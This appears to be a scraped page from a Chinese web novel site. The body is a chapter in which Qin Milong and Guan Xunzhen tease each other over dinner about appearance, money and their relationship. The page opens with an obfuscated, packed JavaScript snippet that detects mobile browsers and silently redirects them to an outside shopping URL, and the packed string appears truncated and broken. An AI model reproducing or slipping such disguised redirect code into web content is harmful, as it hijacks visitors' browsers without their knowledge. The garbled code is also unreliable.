;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14106132|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为我约你出来吃饭啊。” 关寻臻恍然,“我还以为是因为你实在找不到人陪你吃饭,才找了我这么个刚认识的人将就一下。” 秦觅珑:“……” 从某种意义上来说,这人猜得还挺准的。 “我从来不将就。”秦觅珑嗤之以鼻,“你以为我会和长得不符合审美的人一起吃饭?” “原来是看上了我的脸。”关寻臻幽幽道。 秦觅珑立刻开始翻旧账,“难道你不是?第一次见面你还和你朋友说我肯定是男模!” 关寻臻心虚,干咳了几声,缓缓把剥好的开心果往秦觅珑的方向推,“别光聊天,吃点东西。” 秦觅珑拈起几颗果仁往嘴里扔,很善解人意地安慰关寻臻,“没事,男人都是视觉动物,我理解你。” 这话说的,还不如不安慰呢。 关寻臻又忍不住道:“那假如那天在电梯里的人不是我呢?他也给你订总统套,也邀请你去家里看星星,你就答应他了?” 秦觅珑嚼开心果的速度肉眼可见地降了下来,好不容易咽下嘴里那口,他才慢吞吞地开口道:“除了你还有谁会做这种事。” “万一呢?” “万一……那假如他长得没你好看,身材也没你好的话,我也不可能看上他。”秦觅珑自认为自己的回答非常真诚。 “万一他比我好看,身材比我更好呢?” 秦觅珑无语地看了关寻臻一眼,“你以为你这个条件很简单是不是?你本来就是有种族优势的混血儿,长得要比你好看,身材还要比你好,还有钱住得起五星酒店,能在电梯里偶遇我,全世界都找不出几个。” ——至少在秦觅珑的原世界里,十八年都没遇到过一个。 关寻臻不依不饶,“可是……” 秦觅珑马上打断他,“你问这么多问题,该轮到我问了吧?” “你说。” “要是我没有商业头脑,只是一个平平无奇的小主播,你还会和我在一起吗?” 关寻臻不可置信地瞪着说出“平平无奇”这四个字的秦觅珑,深感这个人的自我认知似乎不是很清晰。 秦觅珑见他没有第一时间回答,顿时像是抓到了什么把柄似的,脸上忧愁中夹杂着几分不细看看不出来的得意,“估计你爸妈也不会让你和我在一起,我永远都只是个见不得光的情人罢了。” 关寻臻提醒他:“在H市分开的时候我还问你要不要和我回B市,是你说不要的,所以假如你没有在B市开展工作,我估计连个见不得光的情人都……” 秦觅珑眼疾手快往关寻臻嘴里塞了一把开心果,“我们都在一起了,还说这些不开心的事情干嘛?”